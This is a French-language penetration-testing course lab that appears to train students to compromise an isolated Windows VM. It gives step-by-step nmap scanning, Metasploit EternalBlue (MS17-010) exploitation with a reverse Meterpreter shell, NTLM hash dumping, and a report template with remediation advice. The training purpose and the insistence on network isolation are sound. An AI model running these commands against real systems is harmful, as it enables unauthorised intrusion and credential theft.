Introduction et Kali — Atelier pratique
Vous avez lu la démonstration. Vous allez maintenant la refaire seul(e). Objectif : sortir un shell SYSTEM sur la victime, capturer trois preuves, remplir la checklist. Compter 90 à 120 minutes la première fois.
Tout, dans cet atelier, se passe entre deux VM sur votre poste, sur un réseau host-only sans passerelle vers l'internet. Aucune commande de cette leçon ne doit sortir de votre PC. Si vous êtes chez vous derrière une box, le trafic ne doit pas remonter jusqu'à elle : c'est pour ça qu'on utilise host-only et pas NAT ni bridged.
Ce que vous devez livrer
À la fin de l'atelier, vous aurez, dans un dossier ~/labs/semaine-01/preuves/ sur votre Kali :
scan-ports.txt— sortie complète du scan Nmap tous ports.scan-versions.txt— sortie du scan de versions.scan-vuln.txt— sortie du scriptsmb-vuln-ms17-010.screenshot.jpeg— capture du bureau de la victime, prise depuis Meterpreter.hashes.txt— le dump NTLM des comptes locaux.mini-rapport.md— trois paragraphes en Markdown : situation, exploitation, impact.
Ces six fichiers sont votre livrable. Ils sont aussi ce que vous auriez remis à un client, en miniature. On garde l'habitude dès la semaine 1.
Prérequis matériels
| Ressource | Minimum |
|---|---|
| RAM disponible | 8 Go (4 pour Kali, 2 pour la victime, 2 pour l'hôte) |
| Disque libre | 60 Go |
| Virtualisation VT-x/AMD-V | Activée dans le BIOS/UEFI |
| Système hôte | Windows 10/11, macOS ou Linux |
Si vous n'avez pas 8 Go, réduisez Kali à 3 Go et Metasploitable à 1,5 Go. Ça râlera, mais ça tournera.
Étape 1 — Poser le décor (30 min)
1a. Hyperviseur
Installez VirtualBox (virtualbox.org) si ce n'est pas déjà fait. VMware Workstation Player fonctionne aussi, les captures d'écran de ce cours sont sous VirtualBox.
1b. Kali Linux
Téléchargez l'image VirtualBox 64-bit pré-construite : kali.org/get-kali → Virtual Machines.
Vérifiez le SHA-256 avant de rien ouvrir. Sur Windows PowerShell :
Get-FileHash .\kali-linux-<version>-virtualbox-amd64.ova -Algorithm SHA256
Comparez avec la valeur affichée sur le site. Si ça ne colle pas, ne l'importez pas. Recommencez le téléchargement.
Importez le .ova dans VirtualBox (File → Import Appliance), démarrez, connectez-vous (kali / kali), mettez à jour :
sudo apt update && sudo apt full-upgrade -y
sudo apt autoremove --purge -y
Prenez un snapshot appelé base-propre (Machine → Take Snapshot). Vous y reviendrez souvent.
1c. La victime
Deux options, choisissez-en une :
- Option A — Metasploitable 3 Windows. Suivez le guide officiel : github.com/rapid7/metasploitable3. Le build prend 30 à 45 minutes.
- Option B — Rapide. Téléchargez la VM Windows 7 x86 de Microsoft (encore mise à disposition sous forme d'archives IE testing), désactivez Windows Update, désactivez Windows Firewall pour SMB, activez SMBv1 (
Panneau de configuration → Programmes et fonctionnalités → Fonctionnalités Windows → SMB 1.0/CIFS). Prenez un snapshotbase-vulnerable.
Peu importe l'option : la cible doit avoir 445/TCP ouvert et SMBv1 activé.
1d. Réseau host-only isolé
Dans VirtualBox : File → Host Network Manager → Create.
- Adaptateur :
10.10.10.1/24, masque255.255.255.0. - DHCP : décoché. On configure les IP à la main, c'est plus prévisible.
Éditez chaque VM : Settings → Network → Adapter 1 → Host-only Adapter, choisir le réseau créé. Sur Adapter 2, laissez-le désactivé.
Sur Kali, fixez 10.10.10.5/24 :
sudo ip addr flush dev eth0
sudo ip addr add 10.10.10.5/24 dev eth0
sudo ip link set eth0 up
Sur la victime, fixez 10.10.10.12/24, passerelle vide, DNS vide.
Vérification cruciale — depuis Kali :
ping -c 2 10.10.10.12 # doit répondre
ping -c 2 8.8.8.8 # doit échouer avec "Destination Host Unreachable"
Si 8.8.8.8 répond, votre lab n'est pas isolé. Corrigez avant de continuer. Aucune exception.
Étape 2 — Créer le dossier de preuves
mkdir -p ~/labs/semaine-01/preuves
cd ~/labs/semaine-01
Toutes les commandes qui suivent doivent produire un fichier dans preuves/. Un pentester sans fichier de sortie, c'est un pêcheur sans photo.
Étape 3 — Découverte (10 min)
Trouvez la victime sans regarder sa configuration :
sudo netdiscover -r 10.10.10.0/24 -P > preuves/hosts.txt
cat preuves/hosts.txt
Notez l'IP trouvée. On l'appellera $VICTIME dans la suite :
export VICTIME=10.10.10.12
Étape 4 — Scan (15 min)
Ports :
nmap -sS -Pn -p- --min-rate 2000 $VICTIME -oN preuves/scan-ports.txt
Versions (adaptez la liste de ports à ce que le premier scan a trouvé) :
nmap -sV -p 22,80,135,139,445,3389,3306,8080 $VICTIME -oN preuves/scan-versions.txt
Vulnérabilité SMB :
nmap --script smb-vuln-ms17-010 -p 445 $VICTIME -oN preuves/scan-vuln.txt
Vérifiez la présence du mot VULNERABLE dans scan-vuln.txt :
grep -i vulnerable preuves/scan-vuln.txt
Si rien ne remonte : la cible est patchée, ou SMBv1 est désactivé. Revenez à l'étape 1c, option B, et remettez SMBv1.
Étape 5 — Exploitation (15 min)
Lancez la console Metasploit :
msfconsole -q
Dans la console :
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.12
set LHOST 10.10.10.5
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
Attendez la ligne Meterpreter session 1 opened. Si elle n'apparaît pas au bout de 30 secondes, Ctrl+C, relancez exploit. Cette faille est capricieuse ; deux essais suffisent en général.
Une fois dans Meterpreter, capturez vos preuves :
getuid
sysinfo
screenshot
hashdump
Ouvrez le screenshot avec :
meterpreter > shell
C:\Windows\system32> exit
meterpreter > download C:\\Windows\\System32\\drivers\\etc\\hosts /home/kali/labs/semaine-01/preuves/hosts-cible.txt
Récupérez le résultat du hashdump dans un fichier :
meterpreter > hashdump > /home/kali/labs/semaine-01/preuves/hashes.txt
Et quittez proprement :
meterpreter > exit
msf6 > exit
De retour dans Kali, le screenshot Meterpreter a été sauvegardé dans ~. Déplacez-le :
mv ~/*.jpeg ~/labs/semaine-01/preuves/screenshot.jpeg
Étape 6 — Le mini-rapport (30 min)
Ouvrez ~/labs/semaine-01/preuves/mini-rapport.md et remplissez ces trois sections. Ne dépassez pas une page.
# Mini-rapport — Semaine 1
## Situation
Deux machines virtuelles sur un réseau isolé host-only (10.10.10.0/24).
- Attaquant : Kali Linux 10.10.10.5
- Cible : Windows Server 2008 R2 (Metasploitable 3), 10.10.10.12
## Exploitation
Le service SMB (port 445) tourne en version SMBv1 sans le correctif de mars 2017.
La faille MS17-010 (CVE-2017-0143) permet une exécution de code à distance en tant que
compte SYSTEM sans authentification. L'exploit `exploit/windows/smb/ms17_010_eternalblue`
de Metasploit a livré un payload Meterpreter en TCP inverse.
Preuves jointes :
- `scan-vuln.txt` — Nmap déclare la cible VULNERABLE à MS17-010.
- `screenshot.jpeg` — bureau de la cible capturé depuis la session Meterpreter.
- `hashes.txt` — dump NTLM des comptes locaux (Administrator, Guest, vagrant).
## Impact
Compromission totale de la machine (SYSTEM). Extraction des empreintes de
mots de passe locaux. Sur un domaine réel, cette compromission serait le point
de départ d'un mouvement latéral vers d'autres serveurs Windows non patchés.
## Recommandations
1. Appliquer le correctif MS17-010 (mars 2017) sur toutes les machines.
2. Désactiver SMBv1 partout où c'est possible (Get-SmbServerConfiguration).
3. Segmenter le réseau : le port 445 ne devrait jamais être joignable depuis
les postes utilisateurs.
Ce format — Situation, Exploitation, Impact, Recommandations — est celui qu'on affinera dans le module 12. Prenez le pli maintenant.
Checklist de fin d'atelier
- VM Kali importée, à jour, snapshot
base-proprepris. - VM victime prête, avec SMBv1 actif, snapshot
base-vulnerablepris. - Réseau host-only isolé,
ping 8.8.8.8échoue depuis Kali. - Dossier
~/labs/semaine-01/preuves/contient les six fichiers listés en tête de page. - La session Meterpreter a bien affiché
NT AUTHORITY\SYSTEM. - Screenshot Meterpreter récupéré et déplacé dans
preuves/. -
hashes.txtnon vide (au moins les comptesAdministratoretGuest). -
mini-rapport.mdécrit, une page, quatre sections.
Tous cochés ? Vous venez d'exécuter, seul(e), une chaîne d'attaque complète : découverte → scan → exploitation → proof of pwn → rapport. C'est le squelette de toutes les missions du reste de votre carrière.
Ce qui bloque, et comment débloquer
| Symptôme | Cause probable | Ce que vous faites |
|---|---|---|
| Kali très lent | RAM insuffisante | Baissez à 3 Go, éteignez les autres VM. |
netdiscover trouve trois IPs et rien d'utile | La victime est en NAT, pas en host-only | Rebasculez sur host-only, redémarrez. |
nmap : Note: Host seems down | Pare-feu Windows bloque ICMP | Ajoutez -Pn. |
Exploit : no-target | La cible n'est plus vulnérable | Snapshot → revert vers base-vulnerable. |
| Meterpreter meurt en une seconde | Antivirus | Désactivez Defender temporairement dans le lab, ou changez de payload (voir module 8). |
Ctrl+C sur Metasploit ne rend pas la main | Le module fait un cleanup | Attendez 10 secondes, ça revient. |
Ce que vous emportez de cet atelier
- Un réflexe de laboratoire : deux VM, un réseau fermé, un dossier de preuves.
- Une chaîne d'outils qu'on va rejouer 12 fois :
netdiscover → nmap → msfconsole. - Le format du mini-rapport : Situation / Exploitation / Impact / Recommandations.
- La sensation, physique, de ce que veut dire compromettre une machine. C'est ce qui vous fera continuer.
Prêt(e) ? Passons au quiz du module.